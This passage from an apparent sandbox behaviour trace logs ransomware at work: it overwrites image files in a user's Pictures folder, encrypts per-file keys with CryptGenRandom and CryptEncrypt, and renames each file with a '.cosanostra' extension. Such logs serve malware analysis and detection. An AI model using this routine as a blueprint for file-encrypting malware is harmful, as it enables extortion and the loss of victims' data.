liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.130] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f40c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f40c*=0x2800, lpOverlapped=0x0) returned 1 [0097.130] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.130] WriteFile (in: hFile=0x138, lpBuffer=0x251f44c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f40c, lpOverlapped=0x0 | out: lpBuffer=0x251f44c*, lpNumberOfBytesWritten=0x251f40c*=0x4, lpOverlapped=0x0) returned 1 [0097.131] WriteFile (in: hFile=0x138, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f40c, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f40c*=0x30, lpOverlapped=0x0) returned 1 [0097.131] CloseHandle (hObject=0x138) returned 1 [0097.131] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\K1R_TtVkI4LrlzU\\JoFDZBdfFU0HVc4.png.cosanostra") returned 94 [0097.131] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\K1R_TtVkI4LrlzU\\JoFDZBdfFU0HVc4.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\k1r_ttvki4lrlzu\\jofdzbdffu0hvc4.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\K1R_TtVkI4LrlzU\\JoFDZBdfFU0HVc4.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\k1r_ttvki4lrlzu\\jofdzbdffu0hvc4.png.cosanostra")) returned 1 [0097.132] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f450 | out: pbBuffer=0x251f450) returned 1 [0097.132] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f448*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f448*=0x30) returned 1 [0097.132] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\K1R_TtVkI4LrlzU\\D5569CAW6TZLplYC.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\k1r_ttvki4lrlzu\\d5569caw6tzlplyc.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.132] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\K1R_TtVkI4LrlzU\\D5569CAW6TZLplYC.gif") returned 84 [0097.132] StrStrW (lpFirst="D5569CAW6TZLplYC.gif", lpSrch=".txt") returned 0x0 [0097.133] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.133] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f40c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f40c*=0x2800, lpOverlapped=0x0) returned 1 [0097.133] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.133] WriteFile (in: hFile=0x138, lpBuffer=0x251f44c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f40c, lpOverlapped=0x0 | out: lpBuffer=0x251f44c*, lpNumberOfBytesWritten=0x251f40c*=0x4, lpOverlapped=0x0) returned 1 [0097.133] WriteFile (in: hFile=0x138, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f40c, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f40c*=0x30, lpOverlapped=0x0) returned 1 [0097.133] CloseHandle (hObject=0x138) returned 1 [0097.133] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\K1R_TtVkI4LrlzU\\D5569CAW6TZLplYC.gif.cosanostra") returned 95 [0097.133] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\K1R_TtVkI4LrlzU\\D5569CAW6TZLplYC.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\k1r_ttvki4lrlzu\\d5569caw6tzlplyc.gif"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\K1R_TtVkI4LrlzU\\D5569CAW6TZLplYC.gif.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\k1r_ttvki4lrlzu\\d5569caw6tzlplyc.gif.cosanostra")) returned 1 [0097.134] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f448 | out: pbBuffer=0x251f448) returned 1 [0097.134] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f440*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f440*=0x30) returned 1 [0097.134] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\K1R_TtVkI4LrlzU\\CAeW f.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\k1r_ttvki4lrlzu\\caew f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.134] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\K1R_TtVkI4LrlzU\\CAeW f.gif") returned 74 [0097.134] StrStrW (lpFirst="CAeW f.gif", lpSrch=".txt") returned 0x0 [0097.135] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.135] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f404, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f404*=0x2800, lpOverlapped=0x0) returned 1 [0097.136] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.136] WriteFile (in: hFile=0x138, lpBuffer=0x251f444*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f404, lpOverlapped=0x0 | out: lpBuffer=0x251f444*, lpNumberOfBytesWritten=0x251f404*=0x4, lpOverlapped=0x0) returned 1 [0097.136] WriteFile (in: hFile=0x138, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f404, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f404*=0x30, lpOverlapped=0x0) returned 1 [0097.136] CloseHandle (hObject=0x138) returned 1 [0097.136] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\K1R_TtVkI4LrlzU\\CAeW f.gif.cosanostra") returned 85 [0097.136] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\K1R_TtVkI4LrlzU\\CAeW f.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\k1r_ttvki4lrlzu\\caew f.gif"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\K1R_TtVkI4LrlzU\\CAeW f.gif.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\k1r_ttvki4lrlzu\\caew f.gif.cosanostra")) returned 1 [0097.137] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f448 | out: pbBuffer=0x251f448) returned 1 [0097.137] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f440*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f440*=0x30) returned 1 [0097.137] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\gjtGvA.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\gjtgva.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.137] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\gjtGvA.png") returned 58 [0097.137] StrStrW (lpFirst="gjtGvA.png", lpSrch=".txt") returned 0x0 [0097.138] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.138] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f404, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f404*=0x2800, lpOverlapped=0x0) returned 1 [0097.138] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.138] WriteFile (in: hFile=0x138, lpBuffer=0x251f444*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f404, lpOverlapped=0x0 | out: lpBuffer=0x251f444*, lpNumberOfBytesWritten=0x251f404*=0x4, lpOverlapped=0x0) returned 1 [0097.138] WriteFile (in: hFile=0x138, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f404, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f404*=0x30, lpOverlapped=0x0) returned 1 [0097.138] CloseHandle (hObject=0x138) returned 1 [0097.138] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\gjtGvA.png.cosanostra") returned 69 [0097.139] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\gjtGvA.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\gjtgva.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\gjtGvA.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\gjtgva.png.cosanostra")) returned 1 [0097.556] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f440 | out: pbBuffer=0x251f440) returned 1 [0097.556] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f438*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f438*=0x30) returned 1 [0097.556] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\Ci6pXpSFA50uKhmJhfwr\\CCiF0ZbNmpazzxM.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\ci6pxpsfa50ukhmjhfwr\\ccif0zbnmpazzxm.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.556] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\Ci6pXpSFA50uKhmJhfwr\\CCiF0ZbNmpazzxM.gif") returned 88 [0097.556] StrStrW (lpFirst="CCiF0ZbNmpazzxM.gif", lpSrch=".txt") returned 0x0 [0097.557] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.557] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f3fc, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f3fc*=0x2800, lpOverlapped=0x0) returned 1 [0097.557] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.558] WriteFile (in: hFile=0x15c, lpBuffer=0x251f43c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f3fc, lpOverlapped=0x0 | out: lpBuffer=0x251f43c*, lpNumberOfBytesWritten=0x251f3fc*=0x4, lpOverlapped=0x0) returned 1 [0097.558] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f3fc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f3fc*=0x30, lpOverlapped=0x0) returned 1 [0097.558] CloseHandle (hObject=0x15c) returned 1 [0097.558] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\Ci6pXpSFA50uKhmJhfwr\\CCiF0ZbNmpazzxM.gif.cosanostra") returned 99 [0097.558] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\Ci6pXpSFA50uKhmJhfwr\\CCiF0ZbNmpazzxM.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\ci6pxpsfa50ukhmjhfwr\\ccif0zbnmpazzxm.gif"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\Ci6pXpSFA50uKhmJhfwr\\CCiF0ZbNmpazzxM.gif.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\ci6pxpsfa50ukhmjhfwr\\ccif0zbnmpazzxm.gif.cosanostra")) returned 1 [0097.559] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f438 | out: pbBuffer=0x251f438) returned 1 [0097.559] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f430*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f430*=0x30) returned 1 [0097.559] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\Ci6pXpSFA50uKhmJhfwr\\aUGc4eueFgvxFY9dVLl.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\ci6pxpsfa50ukhmjhfwr\\augc4euefgvxfy9dvll.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.560] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\Ci6pXpSFA50uKhmJhfwr\\aUGc4eueFgvxFY9dVLl.png") returned 92 [0097.560] StrStrW (lpFirst="aUGc4eueFgvxFY9dVLl.png", lpSrch=".txt") returned 0x0 [0097.561] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.561] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f3f4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f3f4*=0x2800, lpOverlapped=0x0) returned 1 [0097.561] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.561] WriteFile (in: hFile=0x15c, lpBuffer=0x251f434*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f3f4, lpOverlapped=0x0 | out: lpBuffer=0x251f434*, lpNumberOfBytesWritten=0x251f3f4*=0x4, lpOverlapped=0x0) returned 1 [0097.561] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f3f4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f3f4*=0x30, lpOverlapped=0x0) returned 1 [0097.561] CloseHandle (hObject=0x15c) returned 1 [0097.561] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\Ci6pXpSFA50uKhmJhfwr\\aUGc4eueFgvxFY9dVLl.png.cosanostra") returned 103 [0097.561] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\Ci6pXpSFA50uKhmJhfwr\\aUGc4eueFgvxFY9dVLl.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\ci6pxpsfa50ukhmjhfwr\\augc4euefgvxfy9dvll.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\Ci6pXpSFA50uKhmJhfwr\\aUGc4eueFgvxFY9dVLl.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\ci6pxpsfa50ukhmjhfwr\\augc4euefgvxfy9dvll.png.cosanostra")) returned 1 [0097.563] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f430 | out: pbBuffer=0x251f430) returned 1 [0097.563] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f428*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f428*=0x30) returned 1 [0097.563] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\2HzY7I639Y-a8gy8P\\VBtbEnjUkdhJ4ys.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\2hzy7i639y-a8gy8p\\vbtbenjukdhj4ys.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.564] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\2HzY7I639Y-a8gy8P\\VBtbEnjUkdhJ4ys.gif") returned 85 [0097.564] StrStrW (lpFirst="VBtbEnjUkdhJ4ys.gif", lpSrch=".txt") returned 0x0 [0097.565] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.565] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f3ec, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f3ec*=0x2800, lpOverlapped=0x0) returned 1 [0097.565] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.565] WriteFile (in: hFile=0x15c, lpBuffer=0x251f42c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f3ec, lpOverlapped=0x0 | out: lpBuffer=0x251f42c*, lpNumberOfBytesWritten=0x251f3ec*=0x4, lpOverlapped=0x0) returned 1 [0097.565] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f3ec, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f3ec*=0x30, lpOverlapped=0x0) returned 1 [0097.565] CloseHandle (hObject=0x15c) returned 1 [0097.565] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\2HzY7I639Y-a8gy8P\\VBtbEnjUkdhJ4ys.gif.cosanostra") returned 96 [0097.565] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\2HzY7I639Y-a8gy8P\\VBtbEnjUkdhJ4ys.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\2hzy7i639y-a8gy8p\\vbtbenjukdhj4ys.gif"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\2HzY7I639Y-a8gy8P\\VBtbEnjUkdhJ4ys.gif.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\2hzy7i639y-a8gy8p\\vbtbenjukdhj4ys.gif.cosanostra")) returned 1 [0097.566] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f430 | out: pbBuffer=0x251f430) returned 1 [0097.566] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f428*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f428*=0x30) returned 1 [0097.566] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\2HzY7I639Y-a8gy8P\\TXHsZfbF.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\2hzy7i639y-a8gy8p\\txhszfbf.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.567] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\2HzY7I639Y-a8gy8P\\TXHsZfbF.png") returned 78 [0097.567] StrStrW (lpFirst="TXHsZfbF.png", lpSrch=".txt") returned 0x0 [0097.567] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffe8a3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.568] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x175d, lpNumberOfBytesWritten=0x251f3ec, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f3ec*=0x175d, lpOverlapped=0x0) returned 1 [0097.568] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.568] WriteFile (in: hFile=0x15c, lpBuffer=0x251f42c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f3ec, lpOverlapped=0x0 | out: lpBuffer=0x251f42c*, lpNumberOfBytesWritten=0x251f3ec*=0x4, lpOverlapped=0x0) returned 1 [0097.568] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f3ec, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f3ec*=0x30, lpOverlapped=0x0) returned 1 [0097.568] CloseHandle (hObject=0x15c) returned 1 [0097.568] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\2HzY7I639Y-a8gy8P\\TXHsZfbF.png.cosanostra") returned 89 [0097.568] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\2HzY7I639Y-a8gy8P\\TXHsZfbF.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\2hzy7i639y-a8gy8p\\txhszfbf.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\2HzY7I639Y-a8gy8P\\TXHsZfbF.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\2hzy7i639y-a8gy8p\\txhszfbf.png.cosanostra")) returned 1 [0097.569] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f428 | out: pbBuffer=0x251f428) returned 1 [0097.569] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f420*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f420*=0x30) returned 1 [0097.569] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\2HzY7I639Y-a8gy8P\\lbnMnDEPGf4.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\2hzy7i639y-a8gy8p\\lbnmndepgf4.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.569] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\2HzY7I639Y-a8gy8P\\lbnMnDEPGf4.jpg") returned 81 [0097.569] StrStrW (lpFirst="lbnMnDEPGf4.jpg", lpSrch=".txt") returned 0x0 [0097.570] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.570] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f3e4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f3e4*=0x2800, lpOverlapped=0x0) returned 1 [0097.570] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.570] WriteFile (in: hFile=0x15c, lpBuffer=0x251f424*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f3e4, lpOverlapped=0x0 | out: lpBuffer=0x251f424*, lpNumberOfBytesWritten=0x251f3e4*=0x4, lpOverlapped=0x0) returned 1 [0097.570] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f3e4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f3e4*=0x30, lpOverlapped=0x0) returned 1 [0097.571] CloseHandle (hObject=0x15c) returned 1 [0097.571] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\2HzY7I639Y-a8gy8P\\lbnMnDEPGf4.jpg.cosanostra") returned 92 [0097.571] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS 